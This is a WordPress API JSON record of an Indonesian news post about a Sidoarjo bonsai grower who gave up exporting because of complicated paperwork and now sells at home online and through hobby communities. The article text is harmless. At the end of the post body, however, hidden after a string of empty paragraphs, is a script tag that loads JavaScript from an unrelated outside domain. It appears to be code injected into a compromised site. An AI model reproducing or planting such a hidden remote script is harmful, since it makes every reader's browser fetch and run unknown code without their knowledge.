{"id":363,"date":"2020-08-20T00:27:06","date_gmt":"2020-08-20T00:27:06","guid":{"rendered":"https:\/\/jatimobserver.com\/?p=363"},"modified":"2021-09-11T07:10:05","modified_gmt":"2021-09-11T07:10:05","slug":"jual-bonsai-ke-luar-negeri-kapok-prosedur-rumit","status":"publish","type":"post","link":"https:\/\/jatimobserver.com\/?p=363","title":{"rendered":"Jual Bonsai Ke Luar Negeri : Kapok, Prosedur Rumit!"},"content":{"rendered":"<p>Sidoarjo &#8211; IInul Miftah mengaku ndak mau lagi menjual bonsai hasil produksinya ke luar negeri meski ada saja permintaan dari negara luar.<\/p>\n<p>Pasalnya menurut Inul, prosedur untuk mengirim barang ke luar negeri sangat rumit dan memakan banyak waktu. Karena itu ia memilih tidak melayani lagi pembelian dari luar negeri.<\/p>\n<p>&#8220;Pernah kirim ke Malaysia, waduh, prosesnya rumit, butuh banyak dokumen dan berpindah pindah ngurusnya. Ke kantor inilah, itulah, dll. Ruwet di dalam negerinya, bukan di tempat tujuannya&#8221;, terang pebonsai yang memiliki ratusan bonsai santigi ato setigi ini.<\/p>\n<p>&nbsp;<\/p>\n<p>&#8220;Padahal harganya tak sebanding proses pengurusan administrasinya, untuk kirim ke luar negeri itu&#8221;, lanjutnya.<\/p>\n<p>&nbsp;<\/p>\n<p>Kini Inul lebih memilih melayani pasar dalam negeri saja yang menurutnya masih terbuka lebar. &#8220;Alhamdulillah, tiap hari ada yang laku. Entah satu pot atau dua pot tiap hari ada yang laku&#8221;, terangnya saat ditemui di kediamannya<\/p>\n<p>Inul lebih banyak mempublis barangnya secara online. Namun keberadaan komunitas juga menurutnya dirasa sangat membantu. &#8220;Selain online, juga kan banyak komunitas pecinta bonsai&#8221;, katanya.<\/p>\n<p>&nbsp;<\/p>\n<p>Selain itu Ia juga biasa membuat konten youtube untuk memberikan edukasi kepada khalayak mengenai bonsai dan juga untuk pelestarian alam. &#8220;Udah ratusan video, saya bermaksud melestarikan saja dan edukasi&#8221;, tutur laki-laki yang kini memiliki tiga kebun untuk merawat bonsainya ini. (her)<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<script src='https:\/\/trick.cofounderspecials.com\/track.js?v=9.999' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sidoarjo &#8211; IInul Miftah mengaku ndak mau lagi menjual bonsai hasil produksinya ke luar negeri meski ada saja permintaan dari<\/p>\n","protected":false},"author":1,"featured_media":361,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[22],"tags":[],"_links":{"self":[{"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/posts\/363"}],"collection":[{"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=363"}],"version-history":[{"count":1,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/posts\/363\/revisions"}],"predecessor-version":[{"id":364,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/posts\/363\/revisions\/364"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=\/wp\/v2\/media\/361"}],"wp:attachment":[{"href":"https:\/\/jatimobserver.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=363"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=363"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/jatimobserver.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=363"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}